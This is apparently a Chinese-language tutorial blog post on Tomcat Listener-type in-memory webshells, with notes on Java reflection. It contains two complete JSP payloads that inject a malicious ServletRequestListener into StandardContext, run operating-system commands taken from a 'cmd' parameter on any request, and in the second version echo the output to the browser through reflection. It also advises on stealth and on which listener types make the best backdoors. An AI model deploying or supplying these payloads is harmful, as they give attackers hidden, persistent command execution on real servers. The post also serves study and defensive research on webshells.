目录
前置:StandardContext 回顾
Listener 型内存马的注入原理,依然依赖于 Tomcat 内部的 StandardContext。
| 对象 |
说明 |
StandardContext |
Tomcat 中代表一个 Web 应用的核心对象,里面存了 Filter、Servlet、Listener 等组件 |
可以用这个类比来理解三种组件的区别:
- Filter:像一个安检闸机,所有请求都过一遍
- Servlet:像一个具体柜台,请求最终被它处理
- Listener:像一个感应门铃,有人进门(请求开始)、出门(请求结束)、新顾客到店(Session 创建)……都会触发
Listener 就存在 StandardContext 的 applicationEventListeners 字段里,执行调度器是 ApplicationEventDispatcher,它负责从这个列表里取出 Listener 并调用。
ApplicationEventDispatcher
ApplicationEventDispatcher 是 Tomcat 运行时自动调用的调度器。
只要把 Listener 实例放进 applicationEventListeners 列表,Tomcat 在处理每个请求时,ApplicationEventDispatcher 就会自动从列表里拿到你的 Listener 并调用它。
和 Filter 对比一下差异就很明显了:
- 动态注册 Filter:需要操作
FilterDef + FilterMap + FilterChain(重新创建),比较繁琐
- 动态注册 Listener:只操作一个列表,没有映射,没有链,简单得多
ServletRequestListener 示例(静态注册)
先看一个静态注册的 ServletRequestListener,理解它的工作机制。
作用是:每次 HTTP 请求进入 Tomcat 时,自动执行 requestInitialized 方法;请求结束时执行 requestDestroyed 方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import javax.servlet.annotation.WebListener;
@WebListener public class SimpleListener implements ServletRequestListener {
static { System.out.println("=== SimpleListener 类被加载了 ==="); }
@Override public void requestInitialized(ServletRequestEvent sre) { System.out.println("[Listener] 请求来了!"); System.out.println("请求的IP:" + sre.getServletRequest().getRemoteAddr());
}
@Override public void requestDestroyed(ServletRequestEvent sre) { System.out.println("[Listener] 请求结束了"); } }
|
启动 Tomcat 服务后,类被加载就会显示:

每次刷新页面就会多一次输出,包含请求开始、IP 地址、请求结束三条日志:

这里 IP 显示的是 0:0:0:0:0:0:0:1(简写 ::1),这是 IPv6 的本地回环地址,等价于 IPv4 的 127.0.0.1。
web.xml 中注册 Listener 的标准写法
静态注册除了用 @WebListener 注解,也可以写在 web.xml 里:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
<listener> <listener-class>com.demo.SimpleListener</listener-class> </listener>
</web-app>
|
动态注入 Payload(无回显版)
和 Filter、Servlet 一样,先两层反射获取 StandardContext:
1
| ServletContext >> ApplicationContext >> StandardContext
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
| <%@ page import="java.lang.reflect.Field" %> <%@ page import="javax.servlet.ServletRequestEvent" %> <%@ page import="javax.servlet.ServletRequestListener" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.util.List" %>
<%
ServletContext servletContext = request.getSession().getServletContext(); Field appContextField = servletContext.getClass().getDeclaredField("context"); appContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
ServletRequestListener maliciousListener = new ServletRequestListener() { @Override public void requestInitialized(ServletRequestEvent sre) { try { javax.servlet.http.HttpServletRequest req = (javax.servlet.http.HttpServletRequest) sre.getServletRequest();
String cmd = req.getParameter("cmd"); if (cmd != null && !cmd.isEmpty()) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader reader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream()) ); String line; StringBuilder output = new StringBuilder(); while ((line = reader.readLine()) != null) { output.append(line).append("\n"); } System.out.println("[Listener] CMD: " + cmd); System.out.println("[Listener] Output: " + output.toString()); } } catch (Exception e) { e.printStackTrace(); } }
@Override public void requestDestroyed(ServletRequestEvent sre) {} };
standardContext.addApplicationEventListener(maliciousListener);
Object[] listenersArr = standardContext.getApplicationEventListeners(); out.println("Listener injected via METHOD. Current count: " + listenersArr.length); %>
|
访问 http://localhost:8080/inject_listener_noecho.jsp,显示注册了一个监听器:

再次访问,注册数量会累加(因为每次访问都会重新注入一个):

Listener 与 Filter/Servlet 的差异对比
Listener 和 Filter、Servlet 在多次注入行为上有些不同:
| 类型 |
能否多次注入 |
关键约束 |
是否会覆盖 |
| Listener |
✅ 能 |
无名称,直接追加 |
不会覆盖,都会执行 |
| Filter |
✅ 能 |
Filter 名称必须唯一 |
相同名称会覆盖;不同名称共存 |
| Servlet |
✅ 能 |
Servlet 名称唯一;URL 映射唯一 |
相同名称或相同 URL 映射会覆盖 |
Listener 没有名称这个概念,每次注入都是往列表里追加一个对象,所以注册了几个,每次请求就会触发几次。
此时再访问 http://localhost:8080/任意路径?cmd=whoami(只要该路径能被注册的监听器监听到就行,即使显示 404 也能被监听到):

IDEA 的 Tomcat 控制台里可以看到命令执行结果:

这里因为注册了四个监听器,访问了一次网站,被监听到了四次,所以输出了四条结果。
Listener 拦截”任意 URL”的优势:
| 内存马类型 |
能否拦截任意 URL(包括不存在的路径、404) |
条件 |
| Listener(ServletRequestListener) |
✅ 能 |
只要注册到 StandardContext,无需任何映射,每个请求都会触发 |
| Filter |
✅ 能(但需要配置) |
必须添加 /* 的 URL 映射,才能拦截所有请求 |
| Servlet |
❌ 一般不能 |
必须匹配具体的 URL 模式(如 /shell、/admin/*),无法覆盖所有路径 |
回显问题:为什么 Listener 不能直接回显?
上面的写法命令结果只输出在 IDEA 的 Tomcat 控制台里,没有回显到浏览器。那 Listener 可以像 Filter 和 Servlet 一样直接把命令结果回显到浏览器吗?
不可以。 原因很简单:
- Filter:
doFilter(ServletRequest request, ServletResponse response, FilterChain chain) — 方法签名里直接有 response
- Servlet:
service(HttpServletRequest request, HttpServletResponse response) — 同上,直接有 response
- Listener:
requestInitialized(ServletRequestEvent sre) — 只有 ServletRequestEvent,没有 ServletResponse
| 组件 |
方法签名 |
能否直接回显 |
| Filter |
doFilter(request, response, chain) |
✅ 直接写 response |
| Servlet |
service(request, response) |
✅ 直接写 response |
| Listener |
requestInitialized(ServletRequestEvent sre) |
❌ 没有 response,需要反射 |
这也是为什么 Filter 型内存马和 Servlet 型内存马在回显上最方便,而 Listener 更适合做”无回显的潜伏监控”或者配合其他组件使用。
解决思路大概有两种:
- Listener + Filter 组合:先用 Listener 监听,再由 Filter 负责回显。但这样还不如直接用 Filter,可能的优势是 Listener 触发时机比 Filter 略早一点点,实际意义不大。
- 反射硬拿 Response(推荐,更干净)
解决回显:反射硬拿 Response
ServletRequestEvent 只提供了 getServletRequest(),没有 getServletResponse()。但 Tomcat 在处理请求时,实际上同时创建了 Request 和 Response 对象,只是没暴露给 Listener 接口。
调用链大概长这样:
1 2 3 4 5
| javax.servlet.ServletRequestEvent 的 request 字段(实际类型是 RequestFacade) ↓ 被存储在 org.apache.catalina.connector.RequestFacade(暴露给 Servlet 的 HttpServletRequest 实现) ↓ 被包装在 org.apache.catalina.connector.Request(真正的请求对象,持有 Response 的引用)
|
所以”找 response”的本质是:从 ServletRequestEvent 出发,穿透两层包装,拿到真正的 Request,再调用其 getResponse() 方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| <%@ page import="java.lang.reflect.Field" %> <%@ page import="javax.servlet.ServletRequestEvent" %> <%@ page import="javax.servlet.ServletRequestListener" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%
ServletContext servletContext = request.getSession().getServletContext(); Field appContextField = servletContext.getClass().getDeclaredField("context"); appContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
ServletRequestListener maliciousListener = new ServletRequestListener() { @Override public void requestInitialized(ServletRequestEvent sre) { try { javax.servlet.http.HttpServletRequest req = (javax.servlet.http.HttpServletRequest) sre.getServletRequest(); String cmd = req.getParameter("cmd"); if (cmd != null && !cmd.isEmpty()) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader reader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream()) ); String line; StringBuilder output = new StringBuilder(); while ((line = reader.readLine()) != null) { output.append(line).append("\n"); } String result = output.toString();
Field requestField = sre.getClass().getDeclaredField("request"); requestField.setAccessible(true); Object requestFacade = requestField.get(sre);
Field innerRequestField = requestFacade.getClass().getDeclaredField("request"); innerRequestField.setAccessible(true); org.apache.catalina.connector.Request catalinaRequest = (org.apache.catalina.connector.Request) innerRequestField.get(requestFacade);
org.apache.catalina.connector.Response catalinaResponse = catalinaRequest.getResponse();
catalinaResponse.setContentType("text/plain"); catalinaResponse.getWriter().write("Command: " + cmd + "\n"); catalinaResponse.getWriter().write("Output:\n" + result); catalinaResponse.flushBuffer(); } } catch (Exception e) { e.printStackTrace(); } }
@Override public void requestDestroyed(ServletRequestEvent sre) {} };
standardContext.addApplicationEventListener(maliciousListener);
Object[] listenersArr = standardContext.getApplicationEventListeners(); out.println("Listener (reflection echo) injected. Current count: " + listenersArr.length); %>
|
访问 http://localhost:8080/inject_listener_echo_reflect.jsp,注入成功:

然后访问 http://localhost:8080/任何.jsp?cmd=whoami,命令结果直接回显到浏览器:

其他常见 Listener 接口简介
Tomcat 里不只有 ServletRequestListener 一种,还有其他几种,简单了解一下:
| 接口 |
触发时机 |
能否拿到 Request/Response |
内存马适用度 |
ServletRequestListener |
请求刚进入、请求结束时 |
有 ServletRequest,无 ServletResponse |
⭐⭐⭐⭐⭐(最常用,触发频率高) |
HttpSessionListener |
Session 创建、销毁 |
无 Request/Response |
⭐⭐(需要先有 Session 才触发) |
ServletContextListener |
Web 应用启动、销毁时 |
无 Request/Response |
⭐(只触发一两次,不适合做后门) |
ServletRequestAttributeListener |
请求域属性增删改时 |
有 ServletRequest |
⭐⭐(需要代码主动触发属性变化) |
HttpSessionAttributeListener |
Session 域属性变化时 |
无 Request/Response |
⭐(依赖 Session 操作) |
AsyncListener |
异步请求开始/完成/超时/出错 |
有 ServletRequest/ServletResponse |
⭐⭐(需要异步支持) |
做内存马首选 ServletRequestListener,触发频率最高,几乎每个请求都能命中。
反射补充:六大核心能力
顺带把反射的六大核心能力梳理一下,目前代码审计碰到过前三种:
| 能力 |
关键类 |
核心方法 |
用途示例 |
| 1. 对象创建(构造器反射) |
Constructor |
getDeclaredConstructor() / newInstance() |
创建类的实例,包括私有构造器 |
| 2. 字段反射 |
Field |
getDeclaredField() / set() / get() |
读取或修改成员变量的值(包括私有字段) |
| 3. 方法反射 |
Method |
getDeclaredMethod() / invoke() |
调用对象的方法(包括私有方法) |
| 4. 访问私有内部类 |
Class |
getDeclaredClasses() / getDeclaredConstructors() |
实例化或操作私有内部类、匿名类 |
| 5. 数组反射 |
Array |
Array.newInstance() / Array.get() / set() |
动态创建和操作数组 |
| 6. 泛型反射 |
ParameterizedType 等 |
getGenericSuperclass() / getGenericParameterTypes() |
获取运行时泛型类型(比如 List<String> 中的 String) |
几种常用写法对比:
构造器反射(创建对象):
1 2 3
| Constructor<MyClass> ctor = MyClass.class.getDeclaredConstructor(String.class); ctor.setAccessible(true); MyClass obj = ctor.newInstance("param");
|
字段反射(读写私有字段):
1 2 3 4
| Field field = obj.getClass().getDeclaredField("secret"); field.setAccessible(true); String value = (String) field.get(obj); field.set(obj, "new value");
|
方法反射(调用私有方法):
1 2 3
| Method method = obj.getClass().getDeclaredMethod("privateMethod", String.class); method.setAccessible(true); Object result = method.invoke(obj, "arg");
|
访问非公开类(以 AnnotationInvocationHandler 为例):
注:这个不是内部类,当时记混了,但写法和构造器反射基本一样。
1 2 3 4 5 6 7 8
| Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object handler = ctor.newInstance(Override.class, new HashMap<>());
|
这几种写法结构高度相似,核心模式都是:获取 Class → 获取成员(字段/方法/构造器)→ setAccessible(true) → 操作。
总结
Listener 型内存马的整体思路比 Filter 和 Servlet 都简单,核心就一步:把恶意 Listener 对象塞进 StandardContext 的 applicationEventListeners 列表,Tomcat 的 ApplicationEventDispatcher 就会帮你在每次请求时自动调用它。
几个关键点:
- 注入方式:推荐用
standardContext.addApplicationEventListener(),比反射操作字段更稳定
- 触发条件:无需 URL 映射,任意请求(包括 404)都能触发,隐蔽性强
- 回显问题:Listener 接口没有
response 参数,要回显就得两层反射穿透拿到 org.apache.catalina.connector.Response
- 多次注入:Listener 没有名称约束,每次访问注入 JSP 都会追加一个新的,调试时注意别重复注册太多
- 最优选择:做内存马首选
ServletRequestListener,触发频率最高,其他类型的 Listener 触发条件苛刻,实战价值有限